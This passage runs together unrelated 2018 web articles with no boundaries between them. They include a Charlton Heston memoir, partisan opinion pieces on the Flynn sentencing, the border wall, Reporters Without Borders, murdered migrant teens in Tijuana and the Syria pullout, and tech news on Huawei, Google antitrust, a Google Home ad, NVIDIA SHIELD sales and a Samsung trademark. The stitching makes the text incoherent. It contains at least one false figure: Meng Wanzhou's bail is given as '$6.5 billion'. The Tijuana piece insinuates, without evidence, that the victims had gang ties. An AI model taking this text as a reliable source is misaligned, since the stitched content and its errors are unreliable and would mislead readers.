Buccaneer. We then moved on from the table and left. I like to think after all these years that he went out of his way to say hello to me three times because it charmed him to see such a young fan in attendance, especially one so starstruck, in an age when few children watched old films or even knew the names of the stars. During my time as a journalist, I have met and interviewed many celebrities, but Heston was the one who stands out to me. It is not often that a celebrity is what he portrays on screen, and it seems that every day we hear of a new celebrity who was a monster hiding in plain sight. Yet with Heston, he really was the man on screen -- kind, gracious, and heroic. His characters always stood for what was right and good, and he too followed this, whether it was staying faithful to his wife for 64 years (we all know what a record that is in Hollywood) or walking arm in arm with civil rights activists and not caring if it destroyed his film career. Charlton Heston was truly larger than life. As the years have passed, something Heston said during the lecture has always stayed with me. The foundation for his remarks during the lecture was, "Just stay in the damn chariot" and while it was a humorous anecdote, he explained that life can be hard and sometimes our beliefs may not be popular, but when things do get rough and rocky we need to remember to "Just stay in the damn chariot." I have always remembered that as I have grown older as I have passed through many a hard time. My father left us, my mother suffered health issues and at times I have been nearly broke. All this while finishing graduate school, writing and running my own consulting business; it has been excruciating at times. But the advice Heston gave all those years ago has stuck with me, the harder life gets, the more your own personal "Masala" whips you and tries to slow you down. You just have to remember that good things are coming if you "Just stay in the damn chariot" and you will eventually get where you are meant to be. Byron Lafayette is an entertainment journalist and author, who writes on the film industry for Fansided and serves as Editor in chief for Viralhare.com. Judge Emmett Sullivan does not like Robert Mueller. Who does? Sullivans Travels with Mueller Judge Emmet G. Sullivan was the judge in the Ted Stevens case. Stevens was the 85-year-old Republican senator from Alaska whose conviction for corruption was set aside by Judge Sullivan because of investigative and prosecutorial abuse. Prosecutors falsely charged and convicted a sitting U.S. senator whom they knew was innocent. It is believed that because of Stevens's October conviction, he lost his November re-election bid to Democratic challenger Mark Begich. Judge Sullivan angrily stated when he set aside the conviction a month later that, "In nearly 25 years on the bench, I've never seen anything approaching the mishandling and misconduct that I've seen in this case." Judge Sullivan also appointed an independent counsel to investigate misconduct by the government investigators (Muellers FBI) and prosecutors. That IC, Henry F. Schuelke, III, concluded, "The investigation and prosecution of U.S. Senator Ted Stevens were permeated by the systematic concealment of significant exculpatory evidence which would have independently corroborated [his] defense and his testimony, and seriously damaged the testimony and credibility of the government's key witness." And, "It should go without saying that neither Judge Sullivan, nor any District Judge, should have to order the Government to comply with its constitutional obligations. Sullivan and Mueller Today The original judge for the Flynn sentencing was Judge Rudolf Contreras. Contreras, of the FISC (the court which accepted from the Obama administration the Steele dossier as evidence supporting the issuance of a FISA warrant to spy on members of the Trump campaign), accepted Flynn's guilty plea. Six days later, Contreras was recused from the case. Some say the reason was his FISC relationship, some say it was because he is a personal friend of Peter Strzok, the disgraced former FBI Chief of the Counterespionage and the universally acknowledged King of Texts, having exchanged a gazillion of them with the also disgraced former FBI counsel to the just as disgraced King of Lies Deputy FBI Director Andrew McCabe. Emmet G. Sullivan was appointed to take Contreras place. On February 16, 2017, the judge ordered Mueller to release to Flynn's lawyers any and all exculpatory and non-exculpatory information and evidence in Mueller's possession. This is called a Brady Order and since the Stevens prosecution, Judge Sullivan issues it in every case upon which he sits in judgment. He also ordered that "if the government has identified any information which is favorable to the defendant but which the government believes not to be material, the government shall submit such information to the Court for in camera review." In other words, any evidence Mueller feels is not material or contains classified information and therefore should not be released, must be provided to Judge Sullivan for him to make the determination as to what can and cannot be released no hiding behind the magic of withholding evidence or prosecutor-determined redaction. Plainly, Sullivan was ordering Mueller to turn over everything Yet, after receiving the prosecution sentencing memo, the defense sentencing memo, and Muellers response, Sullivan saw his original order had not been fully complied with and on 12/12/18, again demanded from the prosecution, more specifically this time, any 302s or memoranda relevant to the circumstances discussed on pages 7-9 of the defendants sentencing memorandum. This, of course, would include the original FD-302, pertaining to the 1/24/17 questioning of General Flynn by FBI agents. He gave Mueller until no later than Friday to comply. On Friday Mueller provided some of the requested documents but left the July 2017 interview of Strzok as the only submitted FD-302. Mueller also submitted arguments under seal for redactions to the 2/15/17 FD-302. On Monday, the judge again ordered the 2/15/17 FD-302 released and Mueller did so late in the afternoon. Submitting arguments for redaction but not the FD-302 was not only an attempt to delay, but it is also a violation of not only the judges 12/12 order that the actual document be submitted by Friday but also his first court order when he took over the case that all documents be submitted. Former U.S. Attorney for the District of Columbia and Fox commentator Joseph diGenova said, The failure to turn over the single most important document in the Flynn case shows an effort to cover up unethical, unprofessional and illegal conduct by the office of special counsel. He also said Muellers action in withholding the 2/15/17 FD-302 was an insult to the court. The Sentencing I think people misunderstand Judge Sullivans actions at the 12/18/18 sentencing. In the morning, prior to the recess, he gave Flynn the opportunity to withdraw his plea, which Sullivan seemingly had concluded was his intention when his lawyers filed their sentencing memo, because otherwise with a recommendation of 0 jail time it served no purpose. I think the judge was amenable to throwing out the case, but only if Flynn changed his plea, and his unwillingness to do so angered the judge because as Sean Davis has pointed out it reeked of him wanting to have his cake and eat it too. In fact, I think Sullivans angered reaction is further evidence that he would have thrown it out due to prosecutorial abuse of power. Yet Flynn, having already lost his savings and home and being threatened by Mueller with the prosecution of his son, and having gotten the message with the indictments of two associates (for FARA violations with respect to lobbying for Turkey) and realizing he would be exposing himself to decades of potential jail time was not willing to bet the house (sorry, he had already lost that), I mean his remaining years on Sullivan doing the right thing. Considering that Judge Sullivan threw out the 2008 conviction of Ted Stevens because of investigative and prosecutorial abuses, I think Flynn should have taken that chance, but then, I dont have to bet my life on it. When Flynn refused the opportunity, Sullivan accused Flynn of potential "treason" for acting as a paid representative of Turkey while serving as National Security Advisor. After the recess, Sullivan, probably having used the time to reread the submitted documents and after further questioning the prosecution and being told that Flynn's relationship with Turkey ended in November of 2016, apologized publicly to Flynn. The judge then questioned the prosecution as to whether Flynn's actions were even a crime. When the prosecution maintained that they might be a violation of the 1799 Logan Act, Sullivan laughed at the contention. The Delay Sullivan wanted the delay as much as Flynn. The judge who already doesn't like Mueller for his Ted Stevens actions now has new reasons to despise him, and thanks to Mueller himself, legal justification for giving him a smack. Muellers actions not only challenged Judge Sullivans authority by twice illegally defying his orders but they probably also led to the judges confusion as to when Flynns representation of Turkey ended, hence, Sullivans treason comment. Perhaps, with a three-month delay before the Flynn sentencing comes up again, Sullivan will no longer be angry. But I doubt it. It is more likely that the judge will use the interregnum to devise a better and more effective way to completely humiliate the arrogant, godlike Mueller for his blatant prosecutorial abuse. With the clock ticking toward a partial government shutdown on Friday, embittered House conservatives, facing life in the minority in January, lashed out at their leadership for refusing to include funding for a border wall. The Senate passed a stopgap measure that will keep the entire government operating into February, but conservatives are balking, pointing out that Nancy Pelosi will never bring up the issue of funding for a border wall as long as Democrats are in the majority. Politico: The Senate unanimously cleared the stopgap legislation Wednesday night, a sign of buckling that further inflamed House conservatives who accused their leaders of running away from an immigration fight in their final days of controlling both chambers of Congress. "Do we actually think we're going to build a border security wall when Nancy Pelosi is Speaker of the House?" Rep. Jim Jordan (R-Ohio), one of the leaders of the House Freedom Caucus, said Wednesday as he introduced an 11th hour amendment to add $5 billion in wall funding to the bill. "This is our last best chance," he said. But the president believes he has "leverage" to force a vote on the border wall next year. "The Democrats, who know Steel Slats (Wall) are necessary for Border Security, are putting politics over Country. What they are just beginning to realize is that I will not sign any of their legislation, including infrastructure, unless it has perfect Border Security. U.S.A. WINS!" Trump wrote. He also gave a strong indication that he would sign the stopgap funding bill, arguing that he's already fortified the border, making the funding of a wall a less urgent issue. "With so much talk about the Wall, people are losing sight of the great job being done on our Southern Border by Border Patrol, ICE and our great Military," Trump tweeted. "Remember the Caravans? Well, they didn't get through and none are forming or on their way. Border is tight. Fake News silent!" House GOP leaders had privately predicted that the bill would come to the floor Thursday with broad bipartisan support, likely averting a partial government shutdown before Christmas. But the prospect of a swift, drama-free vote was thrown into question Wednesday evening, with multiple Republican lawmakers suggesting that GOP leaders had a numbers problem. Simply declaring victory means nothing. With Democrats in control of the agenda and able to block any consideration whatsoever of funding for a wall, Trump's "leverage" is as fake as the "fake news" he rails against. It's a bitter pill for House conservatives who felt they could win an immigration fight in the waning days of the session: With the Freedom Caucus nearly uniformly in opposition, GOP leaders can't afford to lose other votes if they want a majority of Republicans on board. Scores of Democrats are almost certain to support the bill, so its passage is probably not in jeopardy. But a poor showing among House Republicans would be an embarrassment for House Speaker Paul Ryan in what could be his final vote and it could embolden Trump to force the government shutdown that he threatened as recently as last week. ... Freedom Caucus chairman Mark Meadows (R-N.C.), along with more than a dozen other conservatives, took the House floor Wednesday night in a series of protest floor speeches seeking more money for the wall. "My president, we're going to back you up, if you veto this bill, we'll be there." Meadows said on the floor. Hours earlier, he tweeted that a punt into February would be a "Valentine's Day gift" to Pelosi and her deputies. Would Trump veto the bill? If there is something predictable about Trump, it is his unpredictability. He wouldn't necessarily mind if the onus for the shutdown fell on him. Most of his supporters would consider it a badge of honor. But the optics of partially shutting down the government and furloughing hundreds of thousands of federal workers at Christmastime are just too damaging to contemplate. That argument from Senate majority leader Mitch McConnell apparently won the day with the president earlier this week. Trump's veto threat of Democratic priorities is real. But it's not leverage. It's petulance. Democrats would be content going into the 2020 election with a record of passing a host of liberal programs like Medicare for All and universal college tuition, only to see it blocked by a Republican Senate and president. Reporters Without Borders is out with its annual list of most dangerous countries in the world for journalists, and for the first time, the U.S. is named. NBC News: At least 63 professional journalists were killed doing their jobs in 2018, a 15 percent increase over last year, said the group, Reporters Without Borders. The number of deaths rises to 80 when all media workers and people classified as citizen journalists are included, it said in its annual report. The world's five deadliest countries for journalists include three India, Mexico and, for the first time, the United States where journalists were killed in cold blood, even though those countries weren't at war or in conflict, the group said. "The hatred of journalists that is voiced ... by unscrupulous politicians, religious leaders and businessmen has tragic consequences on the ground, and has been reflected in this disturbing increase in violations against journalists," Secretary-General Christophe Deloire said in a statement. Is it really more dangerous for a journalist to work in the U.S. than almost anywhere else? Apparently, one nutcase who shot up a newsroom in Annapolis earlier this year gave Reporters Without Borders an excuse to embarrass the U.S.: Reporters Without Borders said the three most dangerous countries for journalists to work in were Afghanistan, Syria and Mexico. Meanwhile, the shooting deaths of five employees of the Capital Gazette newspaper in Annapolis, Maryland, in June propelled the United States into the ranks of the most dangerous countries for the first time. Let's be clear here. The organization is equating Mexican drug lords murdering journalists because they don't like what's being written about them with a mentally disturbed individual killing employees of a newspaper in the U.S.? Reporters Without Borders said 348 journalists were being detained worldwide, compared with 326 at this time in 2017. China, Turkey, Iran, Saudi Arabia and Egypt hold more than half of the world's imprisoned journalists, it said. No U.S. reporters are in jail because they offended or angered someone in power. And yet it's "dangerous" to work as a reporter in the United States? This is positively balmy. If Reporters Without Borders wants to highlight the dangers to journalists in war zones and oppressive societies, that's fine. That's their job. But they included the U.S. for political reasons, not based on journalists having their lives or freedom threatened. Those reasons no doubt include Donald Trump's inelegant criticism of the media. Let's forget for a moment that Antifa and other violent left-wing extremists routinely threaten the safety of journalists when covering their protests. What Reporters Without Borders and the U.S. media are complaining about is that Trump thinks they're biased and out to get him. How dare he criticize those engaged in the holy calling of journalism? We forget that reporters are high priests, that they write only the truth as it is revealed to them by...whomever. So Trump rails against CNN in the harshest language, and crowds boo them when they show up at a Trump rally. This hurts their feelings, and, besides, it's a sacrilege against the media. The fact that 99.9% of U.S. journalists work and live under no threat whatsoever apparently didn't matter to the politicized mandarins of Reporters Without Borders. The press is using anything it can as a pretext for pressing President Trump to end his firm stance on rule of law at the U.S. border and allow thousands of caravan migrants from Honduras and elsewhere into the U.S. Here's the latest "narrative": two migrant teens, around the age of 16 or 17, were murdered, apparently by robbers, while wandering around with a third teen in Tijuana. The press has called them "unaccompanied children" who were "'teens" staying at the "child shelter." Journalists write about this as yet another element of the arduous dangers and terrors of "children" crossing over to the U.S. illegally, to specifically criticize the U.S. for asking them to wait at the border as their asylum claims are evaluated. The Guardian is just one example of such pious narrative-making: Their deaths highlight not only the treacherous pilgrimage thousands of children and teenagers from El Salvador, Honduras and Guatemala make to the US each year but also the dangers they continue to face even after reaching the border. Minors often find themselves trapped in cities such as Tijuana as a result of bureaucratic hurdles being erected by US authorities. There's just one problem with these tears and flapdoodle: the Mexican press tells a different story. Here's what La Jornada, a big Tijuana paper, via Google Translate, reports really went down: Tijuana, BC. Two teenagers, aged 16 and 17 of Honduran origin, members of the Migrant Caravan died strangled in the northern part of this city, after being hooked by a young woman who offered them sex. Although they did not carry identification, the bodies were recognized by a third young man who went with them, and who, although injured, they left the barracks where the double homicide occurred because he promised to "go for money and work with them." The deputy attorney general in Tijuana, Jorge Alvarez, reported that the murder took place in a place they have identified as a riding stables and because of what the surviving victim recounts, those who committed the homicide were "in a state of drug addiction". They were out there alone, with money or "a check," looking to solicit hookers, and got slaughtered by robbers, who, the Tijuana cops say, were on drugs. Drug addicts committing crimes against normals? Yes, it happens. It's a particularly nasty kind of street crime. And it's not unique to Tijuana. It could just as easily happen in San Diego or San Pedro Sula, where the teens hailed from. Anyone engaging in dangerous behavior, such as soliciting street hookers, is quite likely to be a victim. The cops also said the robbers didn't know that their victims were caravan migrants. Being thugs, their aim was money. And not a word about the hooker part from the Guardian or any of the mainstream press. The real issues are why these caravan migrants had money to entice robbers, since caravan migrants are so indigent, according to the press and its activists, and more important, why the "child" shelter let them out unaccompanied to solicit hookers. Perhaps the teens lied about their intentions, but any experienced shelter whose job is to protect kids would have known that teens are quite capable of that and escorted them to cash their checks or whatever it was they said they would want to do to ensure they didn't make it a night on the town. What's more, the shelter people had to have known that Tijuana can be a dangerous city, given that it's very big (bigger than San Diego, actually), and big cities can be dangerous places. I know that Tijuaneros know that, because I have visited Tijuana many times, and any time it was an official event, Tijuana officials have insisted that I, as a single female, walk around escorted. The Tijuana people just don't want trouble. Seems the child shelter, which was run by a leftist NGO called "Coalicion Pro Defensa del Migrante," didn't necessarily have the same standards, although to be fair, we don't know yet what the circumstances were. What we do know is that caravan migrants have more money than the press is reporting, and some of these vaunted and supposedly vulnerable teens are using it to solicit hookers, which can't be making them popular in Tijuana, given the blight such activity supports. Yes, it's a shame the migrants were killed. Nobody should be killed by drug-addicted thugs while soliciting prostitutes. But it's the sort of thing that could happen anywhere, and it's the result children being allowed out with no supervision or parental involvement, and quite possibly being raised with no values. There also could be gang ties, given that the teens would even think of looking for hookers as an ordinary activity. Do you know any teens who would do that? The only question it raises for the U.S. is one of vetting. Should the U.S. really be importing these kinds of people (prostitution and soliciting hookers remains illegal in most of the U.S.) over others who can be productive and law-abiding? The whole situation is a crime situation, not a migration situation. They were killed not because they were migrants, but because they had money. It's not an argument to allow every caravan migrant in and open wide the U.S. borders. Nice try, mainstream media, but we can read the Mexican press. Image credit: Tucker Carlson, Fox News via YouTube screen grab. In the wake of President Trump's announcement of a pullout of American troops from Syria, I was curious to see what his stand was on the Iraq pullout. This article from 2016 is interesting, because it shows his flip-flops. But it could be used to argue that the Syria pullout is: (a) consistent with his stand on pulling out of Iraq and/or (b) completely hypocritical, nonsensical, and irrational, given his recognition that the pullout in Iraq led to ISIS, as well as invited Iran in, and since he wound up criticizing Hillary and Obama for it. Given (b), this just doesn't make any sense. Given his promises to support Israel in the region, this doesn't make any sense. If war breaks out with either Hezb'allah or Iran or both, is Trump prepared to fight next to Israel? I doubt it, plus that's a hard sell at home (and would be fodder for anti-Semites on the left and right. Plus, it's never been done before, so how's he planning on helping Israel since selling arms isn't going to cut it in the next war). According to this Business Insider article: In Jordan, 1,500 soldiers, a squadron of F-16s, a Patriot missile battery, and M142 High Mobility Artillery Rocket Systems have been deployed because of the war in Syria. Is he pulling them out also? If not, is it because Russia doesn't have a military interest in Jordan and they do in Syria? Shaky ground there to differentiate the two. The combat troops in Syria, coupled with the rebel forces there, had arguably decimated ISIS, so they are not fighting an active war, which is why he's pulling them out. So there can't be an argument that Jordan is peaceful and our soldiers aren't at risk there. His whole stance is America First, but that doesn't help us decide which countries we post troops in unless we have a national security interest (which we in fact do in Syria: to stop Iran's march to the Mediterranean, to hold Russia at bay, and to maintain a U.S. presence in a volatile yet strategic region). Russian troops at Khmeimim Air Base in Syria are not pulling out (photo credit: Kremlin.ru). It's not as if we have tens of thousands of troops in Syria. We have 2,000. Look at this chart for the numbers we have across the world from 2011. We have 54,000 in Germany and 10,000 in Italy. Fifteen hundred in Belgium, for instance. Is he going to pull our troops out across the world, and if not, why not? Why are troops in Belgium important to U.S. national security interests? We have 15,000 in Kuwait. Why keep them there rather than in Syria when we're talking about U.S. national security?! This decision is appalling and will lead me to vote for any Republican who decides to run against him if he follows through with it. He is ignoring the advice of John Bolton, who's apparently the only grown-up in the room and who should probably leave the administration now since his informed and wise opinions are meaningless to Trump. We knew that Trump isn't a foreign policy wizard, but we hoped he'd surround himself with smart people. It took him a while, but he had a good team with Haley, Bolton, and Pompeo. I won't be surprised if Bolton bails after this completely bone-headed move by Trump. The bottom line is that everyone wise enough to understand how awful it was for Obama to pull out of Iraq is either a hypocrite for not calling this out or sick to his stomach that this is happening. If President Trump does follow through with this, he should officially recognize Israel's sovereignty over the Golan Heights just as he moved the embassy to Jerusalem. Senators Cruz and Cotton have introduced a resolution in the Senate to that effect. That's the least he can do to help Israel survive attacks by Iran and its proxies that surround her. Correction: Deleted erroneous number of U.S. troops stationed abroad. The Chinese government appears to be retaliating for the recent arrest of Huawei Chief Financial Officer Meng Wanzhou, with Beijing recently detaining the third Canadian since the December 1 ordeal as part of what it describes are unrelated probes into illegal activities. Canadian Prime Minister Justin Trudeau doesnt share that sentiment, having officially urged caution while reflecting on recent developments. Ottawa has no evidence that this months arrests of Canadian nationals in China are related to Ms. Mengs case and further escalating the matter could easily be counterproductive, the PM said this week, warning both his political allies and opponents against political posturing until more details on the matter come to light. While information about this weeks arrest conducted by Chinese authorities is still scarce, what some interpreted as retaliation from Beijing started last week after Beijing detained Canadian businessman Michael Spavor and diplomat Michael Kovrig. The Trudeau administration already showed more willingness to link Mr. Spavor and Mr. Kovrigs case to the arrest of Ms. Meng, with the incident already being infused with political undertones by United States President Donald Trump. In a recent interview, President Trump said hes prepared to intervene in Ms. Mengs process if doing so would help the U.S. gain leverage in its ongoing trade talks with China. As Huaweis C-suite executive was arrested in Vancouver on the request from the stateside Department of Justice, Beijing interpreted those comments as evidence that the U.S. judicial system isnt independent and accused Washington of taking hostages in their recently suspended trade war. The arrest itself happened just as President Trump and President Xi Jinping were negotiating a 90-day truce at a G20 summit in Argentina. No end in sight Advertisement And while Chinas now threatening with retaliation, arguing Ms. Mengs arrest and potential extradition are illegal, the Justice Department remains adamant it isnt interested in pursuing a political agenda. Instead, U.S. authorities are suspecting Huaweis CFO of defrauding a number of banks in relation to a Hong Kong company Skycom Tech, an alleged Huawei satellite established with the goal of violating stateside trade sanctions the Commerce Department imposed against Iran. While Chinas ZTE pleaded guilty to similar transgressions in 2017 and almost went bankrupt earlier this year after violating the original settlement and prompting further sanctions from Washington, Ms. Mengs case is possibly even more serious seeing how the Justice Department is accusing her of being personally involved in a conspiracy to import American goods into Iran. Stateside authorities have until early February to formally request her extradition. Provided they succeed in that endeavor, the 46-year-old executive is facing up to 30 years in federal prison for fraud. While not many details on Ms. Mengs case are currently known, its unlikely the DOJ would have moved against her in cooperation in Canada less it possessed substantial evidence of her wrongdoings seeing how the industry veteran is not only one of the highest-ranking executives of the worlds largest telecom equipment manufacturer but also happens to be one of three children of Huawei founder Ren Zengfei. A Vancouver court agreed to release her on bail equivalent to $6.5 billion last week and shes presently under limited house arrest after being labeled a flight risk, a notion her legal team repeatedly dismissed as frivolous. The current state of affairs suggests the incident is still in its early stages and Ms. Mengs case could still bring Washington-Beijing tensions on a whole other level. Far from unprecedented Advertisement While the Huawei CFOs arrest marks a new degree of conflict escalation between Huawei and the U.S. government, the animosity between the two is far from unprecedented and dates back to at least the early 21st century. Washington has recently also been pressuring its allies to drop Chinese telecom tech from their 5G rollout plans, with Australia being the first to do so. German wireless giant Deutsche Telekom recently followed suit as part of its ongoing talks with stateside authorities reviewing the proposed merger of Sprint and its subsidiary T-Mobile. Recent reports indicate South Korea, Japan, and Canada are also considering doing the same in a move that would significantly limit Huaweis ability to maintain its global wireless dominance. The Western intelligence community has long argued Huawei has suspicious ties to the Chinese communist regime and poses a major spying threat, a notion the company dismissed as baseless on countless occasions. Still, Beijings strict censorship laws allow it to easily force any domestic company into complying with broad information requests with little to no actual justification, making security concerns associated with the companys technologies an ongoing issue regardless of the fact Huawei was never involved in any major cybersecurity scandal, which is something its always quick to highlight. The European Commissions historic antitrust fine issued to Google earlier this year over the technology juggernauts abuse of its Android operating system conducted with the goal of stifling its app rivals is doing little to level the mobile software playing field, new reports indicate. French Internet search startup Qwant is just one of many companies claiming theyre still essentially blocked from competing with Google Search within the Android ecosystem, casting doubt on the effectiveness of the ECs antitrust ruling. A slap on Googles wrist Following the ECs decision that Google is now in the process of appealing, the company begrudgingly agreed to start allowing original equipment manufacturers to make heavily modified versions of Android also known as forks without losing the ability to pre-load them with first-party apps such as Gmail, Google Assistant, Search, Chrome, and Play Store. As of late October, OEMs interested in doing so within the European Economic Area have to pay license fees for Google apps which were previously free, something the EC ruled was anti-competitive. However, the change also put a stop to existing projects promising some third-party Android developers a fighting chance against Google. E.g. Qwant previously agreed to a partnership with Huawei that would have seen the Chinese tech giant launch an Android handset with the French search engine instead of Google but the fall changes to the operating systems licensing terms injected significant uncertainty into the partnership and essentially placed it on indefinite hold. Advertisement Qwant co-founder Eric Leandri is describing the current state of affairs as crazy, suggesting the ECs antitrust ruling against Google was just a slap on the tech juggernauts wrist, a sentiment that has already been circulating the industry from the moment the political bloc made its decision public in mid-July. Whereas Google was actively preventing manufacturers from installing most competing services on their Android devices in the past, its now requiring them to pay a license fee for every handset that uses its operating system and a customized app suite, e.g. one that offers Qwant instead of Google Search. In practice, that makes any significant production run of devices with rivaling apps pre-installed cost millions of extra dollars, which is something no manufacturer can be expected to pay and once again constitutes anti-competitive behavior, Mr. Leandri claims. Coupled with the fact that Google controls by far the most prevalent Android app marketplace on the planet and also owns the worlds largest digital advertising operation, third-party developers arent particularly optimistic about their chances to compete with any one of its services. Mr. Leandri only sees hope in additional antitrust rulings being issued on the Old Continent and beyond but antitrust watchdogs are generally slow to react to change and are even having issues with enforcing existing verdicts. The record $5 billion fine Google was given in the Android antitrust case is presently being appealed, much like the $2.7 billion fine the EC gave to the company last year over its abuse of Search conducted for the purpose of promoting its online price comparison service. Both will likely take many years to be resolved, as indicated by previous high-profile antitrust cases involving the EUs competition watchdog. E.g. Intel was hit with a then-record $1 billion fine in 2009 over its business practices in the chip market but has yet to actually pay it and is still appealing the ruling, having most recently won another review of its case last year. Google is expected to embrace a similar level of resistance to the ECs ruling and has already indicated as much, completely dismissing the very notion that its business practices pertaining to Android and Search are predatory, something many members of the industry such as Yelp and Qwant previously argued, with the EC being in agreement. New troubles looming in the U.S. and abroad Advertisement Googles issues with European regulators did not go unnoticed in its home country and the Federal Trade Commission is presently reviewing the cases with the goal of determining whether some of the transgressions attributed to the company on the Old Continent also constitute violations of U.S. antitrust law. The move comes at a time when Google is already far away from the Trump administrations good graces, with several high-profile members of the government, including the President himself, repeatedly accusing the Alphabet-owned company of being biased against right-wing ideologies and systematically censoring millions of conservative voices on the World Wide Web. That particular issue was one of the main subjects of last weeks congressional hearing starring Google Chief Executive Officer Sundar Pichai who was grilled by stateside lawmakers on the companys approach to political topics and a variety of other subjects, including the fact that a Google Search query for the term idiot returns dozens of images of President Trump. At the same time, the Democratic party is still pressing Google over the role its services played in the Russian disinformation campaign seeking to influence the outcome of the 2016 presidential election. Both sides of the political spectrum in the country are also appalled by Googles recent decision to attempt returning to China with a censored version of Search blacklisting terms such as human rights and student protests as part of a secretive Project Dragonfly, though that particular initiative was reportedly killed several days back, largely due to the public outcry it generated after its existence became public knowledge. At the same time, the European Competition Commissioner Margrethe Vestager is probing Alphabets subsidiary on a third antitrust front the one pertaining to its massive digital advertising network and the companys policies that discriminate against rivaling solutions by discouraging marketers from using them along with Google Ads, previously known as AdWords. Coupled with recent privacy scandals, including the one that potentially exposed personal data of tens of millions of Google+ users and contributed to the firms decision to kill off its struggling social media network for good, Google presently isnt in an ideal position for continued sustainable growth something investors are always craving as its future brings many uncertainties, both in the U.S. and abroad. Google just released a new ad for the Google Home, to celebrate the holidays, and its an ad that everyone will love. It features Macaulay Culkin, who played the role of Kevin McAllister in Home Alone and Home Alone 2. The Home Alone franchise are some of the most popular movies to watch during the Christmas season, so it only made sense for Culkin to reprise his role as Kevin McAllister for a new ad with Google. The ad is called Home Alone Again with the Google Assistant. It brings back some of the more famous scenes from Home Alone, and is set in a more recent time-frame. With McAllister talking to the pizza delivery person through the Nest Hello and Google Home Hub, and even showing off Routines when Harry and Marv stop by the house. Seeing as this is 2018, and Home Alone came out back in 1990, about 28 years ago, McAllister has grown up. So he is now shown as an adult that is Home Alone, but the house still looks the same. Which is pretty impressive on Googles part. Google even used robot vacuums for cut outs of people to make it look like people were walking around in the house when Harry and Marv pulled up outside. This was a really creative commercial for Google, and given how popular Home Alone is still in 2018, it is likely to be one of the best commercials of the holiday season. While playing on some nostalgia here, Google also subtly showed off all of the devices that work with Google Assistant, and showed off some of its more popular features. Google is also launching a few new features to help out that nostalgia, starting today. Youll be able to ask Hey Google How much do I owe you? and youll be reminded to Keep the change, you filthy animal. You can also say Did I forget something? and Google Assistant will scream back KEVINNNNNNNN. There are also many other quotes that you can say to the Google Assistant and it will answer you back. Making for a pretty fun time, before you kick back and watch Home Alone this holiday season. Advertisement https://www.youtube.com/watch?v=xKYABI-dGEA Background: Google has been putting out some rather interesting commercials for the Google Assistant in recent weeks. And this is perhaps the best one that Google has done. It has also put out a behind-the-scenes for how it made this commercial, which is always a pretty cool video to check out. This commercial is genius for a few reasons. One, it plays on the nostalgia of the movie, but it also showcases what the Google Assistant can do. And it does this without being nerdy about it. Google could always just explain that you can create Routines with the Google Assistant now, but it knows that this is going to be a cooler way to get the point across. As people will see the Operating Kevin routine in the commercial and realize that their Google Home can also do this. And then adding in some of these new quotes that you can say to the Google Assistant now (likely for a limited time), makes this a pretty awesome commercial. Impact: This may not lead to a lot of people buying any of Googles Home products (the Home, Home Max, Home Mini or Home Hub), but it will definitely get some people talking, and likely a good bit of laughter as well. Which is something we could all use in todays age. If you havent picked up a Google Home yet, it does make a really great stocking stuffer, especially since the Google Home Mini is currently sitting at around $30, which makes it a pretty insane price for a small smart speaker that also has the Google Assistant built-in. The Google Home, and more importantly the Google Assistant, is always being updated and getting new features today is a good example of that. So if you are skeptical of picking up the Google Home Mini, its definitely a good purchase, as well as the Google Home (which is now a bit cheaper than its original price of $129) and the Google Home Max or Google Home Hub if you are looking for a smart display. Many of the products that were shown off in this commercial are also on sale right now as part of the many holiday sales going on right now. If you want to check out the behind-the-scenes of this commercial, you can watch it in the video down below. Advertisement https://www.youtube.com/watch?v=oeiJDTWxlM0 NVIDIA has confirmed a number of games compatible with the Android TV-powered SHIELD TV are now on sale to celebrate the Holidays. Although actual sale start times for any particular title may vary a little, most, if not all are expected to be on sale starting today and remain at a discounted rate until December 26. This represents a great opportunity to stock up on some new games for the SHIELD and especially considering that in some cases the discounts on offer are as much as 75-percent off the normal price. The greatest percentage discounts If you are straight up looking for the greatest discounts, then the Borderlands series is what you want as both Borderlands 2 and Borderlands: The Pre-Sequel! have been discounted by the maximum 75-percent. Considering these two normally retail for $14.99 each, this means interested gamers can now expect to pay less than $10 for both games. Similarly, Kona is also on sale with a 70-percent off tag attached which brings the cost of this game down to less than $5 (compared to its usual $14.99 price). Other big percentage discounts are in effect for Riptide GP: Renegade (66% off), Puddle + (65% off) and Ticket to Ride (60% off), although as these games are all typically available for less than $10 each, the actual value of the savings on offer are not quite as substantial. Advertisement Save up to 50-percent There seems to be a lot of titles included in this latest SHIELD sale, and most of them have now been discounted by 50-percent exactly. In fact, theres a little too many to name them all (30 are on sale in total) but to highlight some of the more popular titles that you can now save on, the half-off discount applies to Altos Adventure TV, This War of Mine, Crashlands, The Talos Principle, as well as Hotline Miami 1 and Hotline Miami 2. Once again, 50-percent equates differently in money terms depending on the title but out of those highlighted Hotline Miami 2 and This War of Mine offer the greatest cash savings considering they normally cost $14.99 and $13.99, respectively. Arguably, the biggest cash savings of all award goes to Jackbox Party Pack 5, as although it has only been discounted by 30-percent, this title typically costs $29.99 making it quite an expensive purchase by Android game standards. With the discount now in effect, however, it can be picked up for just $18.99. That is still more expensive than all of the rest of the titles listed here (and still more expensive compared to their usual no-sale selling prices), but it is the best deal in terms of money saved and most likely the best option for those in the market for a party type of game that can be played with others during the festive period. For a full list of all of the SHIELD TV compatible games that are currently on sale, click here. Advertisement SHIELD continues to deliver The SHIELD TV is far and away the best Android TV device on the market today and sales likes this are one of the reasons why. As although all of these titles are available in Android app form, and sold through the Google Play Store, they are not all equal in the world of Android. For example, while some titles (like Altos Adventure TV) will work with any Android TV device, and others (like This War of Mine) will work with nearly any Android device, including smartphones, all of them are compatible with the SHIELD TV. This is due to the SHIELD not only being compatible with all standard Android TV (and most Android in general) games, but a number of these games have been brought to Google Play with the SHIELD specifically in mind. And this is all without even mentioning the various other game benefits that are specific to the SHIELD. The value on offer with the SHIELD does not just stop at games either, as this is a device thats greatly supported by NVIDIA and its partners at all levels. This can often be seen in terms of the regularity of updates that are made available to the SHIELD (usually on a bi-monthly basis) and which normally go well beyond the usual security and bug fixes, as they often include new, and sometimes significant features that continue to improve the overall experience and the general capabilities of the device. In the last year alone the SHIELD has seen improvements in terms of smart home compatibility with greater Amazon Alexa and Google Assistant support, as well improvements to the interface and user experience, including wider app support, the launch of a much improved remote control app, and the return of popular features, such as NVIDIA Share. Samsung recently filed a trademark application for software known as Samsung Blockchain Wallet with the United Kingdom Intellectual Patent Office (UKIPO). The South Korean tech giant applied for the trademark on December 17th, and the agency categorizes the trademark under class number 9, which means that the trademark applies for smartphones, tablets, or computers. According to Samsungs application, this trademark will apply to a smartphone app designed that allows users to transfer cryptocurrency between devices using blockchain technology and to pay for purchased items with the help of 